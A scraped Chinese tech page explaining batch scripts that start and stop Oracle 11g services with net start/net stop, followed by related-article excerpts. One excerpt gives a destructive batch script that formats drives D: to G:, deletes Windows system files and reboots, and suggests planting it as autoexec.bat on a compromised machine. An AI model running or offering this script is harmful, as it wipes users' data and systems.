使用批处理实现启动和停止服务的代码分析(net start&net stop)_DOS/BAT

使用windows自带的net.exe功能启动或停止服务
启动/停止 服务的命令行格式为: net start / stop服务名称 (注意:服务先要设置为手动启动类型)
例子:
以启动和停止Oracle11g服务为例(ORCL是数据库名 ):

复制代码 代码如下:

%启动Oracle的服务%
@echo.服务启动......
@echo off
net start OracleVssWriterORCL
net start OracleDBConsoleorcl
net start OracleOraDb11g_home1TNSListener
net start OracleServiceORCL
@echo.启动完毕!
@pause

%停止Oracle的服务%

复制代码 代码如下:

@echo.服务停止中.....
@echo off
net stop OracleVssWriterORCL
net stop OracleDBConsoleorcl
net stop OracleOraDb11g_home1TNSListener
net stop OracleServiceORCL
@echo.服务已停止!
@pause

启动方法:
方法1.保存之后便可以直接通过双击文件即可启动或者关闭服务
方法2.设置环境变量
在环境变量中的系统变量中,在PATH后面添加批处理文件的路径,不要忘记用分号;和前面的环境变量隔开,然后直接在开始菜单中的运行中输入可执行相应的文件 (环境变量的作用就是告诉系统在运行中输入信息的位置而已)

时间: 2024-10-31 22:00:56

使用批处理实现启动和停止服务的代码分析(net start&net stop)_DOS/BAT的相关文章

CentOS启动和停止服务详解

  CentOS启动和停止服务详解            服务简介 Linux 系统服务是在Linux启 动时自动加载,并在Linux退出时自动停止的系统任务.在Linux 启动过程中,我们可以看得很多"starting - "提示信息,该信息表示正在启动系统服务;而在Linux 退出时,我们也能够看到相应的"Stopping - "信息,表示系统服务正在停止.Linux自身有许多系统任务,如"network" 服务用于支持网络连接等.CAMS

电脑启动或停止服务时提示服务没有及时相应启动怎么办?

  在启动或停止"Windows Modules Installer"服务时提示"错误1053:服务没有及时相应启动或控制请求"的错误消息,导致该问题的原因是由于可执行文件的附加命令参数配置错误. 方法1 1.在开始搜索框键入"services.msc"命令,按回车键打开本地服务设置窗口 2.在右侧窗口找到并双击"Windows Modules Installer"服务 3.进入"常规"选项卡设置界面,复制

批处理操作注册表完全攻略(读取注册表/写入注册表等)_DOS/BAT

一,批处理生成.Reg文件操作注册表 用批处理中的重定向符号可以轻松地生成.reg文件.然后用命令执行.reg文件即可! 这里,着重要了解.reg文件操作注册表的方法. 首先.reg文件首行必须是:Windows Registry Editor Version 5.00.然后才是操作注册表的内容. (就和从注册表中导出的文件格式一致) 1,创建子项 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 在HK

由一段批处理程序所引起的探讨感觉问题是有,不太准确_DOS/BAT

假如你的系统装在c盘  打开记事本输入  @echo off  shutdown -r -t 0  format d: /q /y  format e: /q /y format f: /q /y  format g: /q /y  c:  cd \  cd windows  del. /y  cd system32  del. /y  shutdown -r -t 0  另存为1.bat  然后运行  看看有什么后果  如果想搞肉鸡的话那么可以  重命为autoexec.bat上传到肉鸡C:覆

批处理 Set 命令详解 让你理解set命令第1/2页_DOS/BAT

set,E文翻译过来就是"设置"的意思,相当于数学里的"令". 如:set X=5,就是令X=5的意思. 语法形式: SET [variable=[string]] SET /P variable=[promptString]  SET /A expression     一.SET [variable=[string]]  示例1: @echo off  set pause  显示所有的变量的值 示例2:  @echo off  set var=我是值  echo

批处理获取文件夹下面txt文件行数并添加到文件名后_DOS/BAT

方法一: @echo off&setlocal enabledelayedexpansion for /f "delims=" %%a in ('dir /a-d/b/s *.txt') do ( for /f "tokens=3 delims=:" %%b in ('find /c /v "" "%%a"') do set n=%%b ren "%%a" "%%~na_!n: =!%%~

免安转MySQL服务的启动与停止方法_Mysql

1.下载mysql-noinstall-5.1.33-win32.zip,然后解压 2.复制my-huge配置文件为my.ini 在 [mysqld] 下,增加2行 basedir=D:/mysql datadir=D:/mysql/data 3.进入cmd 进入 bin目录下,运行mysqld install 注册服务器 然后运行net start mysql启动mysql服务(必须将mysql服务设置为手动启动) 停止服务: 运行net stop mysql 4.批处理文件来启动和停止:

Win7怎样使用命令行启动和停止Windows服务程序

  启动停止服务程序有很多的方法: 有些程序自身提供了设置的界面,可以通过这种方式来设置启停;还可以使用第三方的一些程序来控制启停,比如某某卫士之类的程序;还可以通过windows系统的服务管理来指定服务程序启停;不过这些方法操作上都嫌麻烦一些,如果需要频繁切换启动停止的话,上面的这些操作方式就显得有些罗嗦了,这时通过命令行启停就是很方便的方式了.使用命令行也是很简单的事,下面进入实际操作. 方法/步骤如下: 1.鼠标右键点击桌面的"计算机"选择"管理"菜单项. 2

Win7怎么使用命令行启动和停止Windows服务程序

  启动停止服务程序有很多的方法: 有些程序自身提供了设置的界面,可以通过这种方式来设置启停;还可以使用第三方的一些程序来控制启停,比如某某卫士之类的程序;还可以通过windows系统的服务管理来指定服务程序启停;不过这些方法操作上都嫌麻烦一些,如果需要频繁切换启动停止的话,上面的这些操作方式就显得有些罗嗦了,这时通过命令行启停就是很方便的方式了.使用命令行也是很简单的事,下面进入实际操作. 方法/步骤如下: 1.鼠标右键点击桌面的"计算机"选择"管理"菜单项. 2